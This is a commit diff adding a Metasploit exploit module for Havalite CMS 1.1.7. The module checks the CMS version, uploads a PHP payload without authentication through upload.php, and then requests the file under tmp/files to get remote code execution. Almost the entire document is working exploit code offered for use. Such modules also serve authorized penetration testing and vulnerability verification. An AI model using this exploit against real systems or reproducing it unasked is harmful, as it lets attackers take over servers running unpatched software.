Land rapid7#1983, @wchen-r7's havalite exploit

Author: jvazquez-r7

modules/exploits/unix/webapp/havalite_upload_exec.rb

@@ -0,0 +1,141 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+#   http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+	Rank = ExcellentRanking
+
+	include Msf::Exploit::Remote::HttpClient
+	include Msf::Exploit::PhpEXE
+
+	def initialize(info={})
+		super(update_info(info,
+			'Name'           => "Havalite CMS Arbitary File Upload Vulnerability",
+			'Description'    => %q{
+				This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and
+				possibly prior.  Attackers can abuse the upload feature in order to upload a
+				malicious PHP file without authentication, which results in arbitary remote code
+				execution.
+			},
+			'License'        => MSF_LICENSE,
+			'Author'         =>
+				[
+					'CWH',
+					'sinn3r'  #Metasploit
+				],
+			'References'     =>
+				[
+					['OSVDB', '94405'],
+					['EDB', '26243']
+				],
+			'Payload'        =>
+				{
+					'BadChars' => "\x00"
+				},
+			'Platform'       => ['linux', 'php'],
+			'Targets'        =>
+				[
+					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
+					[ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
+				],
+			'Privileged'     => false,
+			'DisclosureDate' => "Jun 17 2013",
+			'DefaultTarget'  => 0))
+
+			register_options(
+				[
+					OptString.new('TARGETURI', [true, 'The base path to havalite', '/'])
+				], self.class)
+	end
+
+
+	def peer
+		"#{rhost}:#{rport}"
+	end
+
+
+	#
+	# Checks if target is running HavaLite CMS 1.1.7
+	# We only flag 1.1.7 as vulnerable, because we don't have enough information from
+	# the vendor or OSVDB about exactly which ones are really vulnerable.
+	#
+	def check
+		uri = normalize_uri(target_uri.path, 'havalite/')
+		res = send_request_raw({'uri' => uri})
+
+		if not res
+			print_error("#{peer} - Connection timed out")
+			return Exploit::CheckCode::Unknown
+		end
+
+		js_src = res.body.scan(/<script type="text\/javascript">(.+)<\/script>/im).flatten[0] || ''
+		version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || ''
+
+		if not version.empty? and version =~ /1\.1\.7/
+			print_status("#{peer} - Version found: #{version}")
+			return Exploit::CheckCode::Vulnerable
+		end
+
+		Exploit::CheckCode::Unknown
+	end
+
+
+	#
+	# Uploads our malicious file
+	#
+	def upload(base)
+		p     = get_write_exec_payload(:unlink_self=>true)
+		fname = "#{rand_text_alpha(5)}.php"
+
+		data = Rex::MIME::Message.new
+		data.add_part(p, "application/octet-stream", nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"")
+		post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
+
+		res = send_request_cgi({
+			'method' => 'POST',
+			'uri'    => normalize_uri(base, 'havalite', 'upload.php'),
+			'ctype'  => "multipart/form-data; boundary=#{data.bound}",
+			'data'   => post_data
+		})
+
+		if not res
+			fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading")
+		elsif res.code.to_i == 404
+			fail_with(Exploit::Failure::NotFound, "#{peer} - No upload.php found")
+		elsif res.body =~ /"error"\:"abort"/
+			fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to write #{fname}")
+		end
+
+		return fname
+	end
+
+
+	#
+	# Executes our uploaded malicious file
+	#
+	def exec(base, payload_fname)
+		res = send_request_raw({
+			'uri' => normalize_uri(base, 'havalite','tmp', 'files', payload_fname)
+		})
+
+		if res and res.code == 404
+			fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
+		end
+	end
+
+
+	def exploit
+		base = target_uri.path
+
+		print_status("#{peer} - Uploading malicious file...")
+		fname = upload(base)
+
+		print_status("#{peer} - Executing #{fname}...")
+		exec(base, fname)
+	end
+end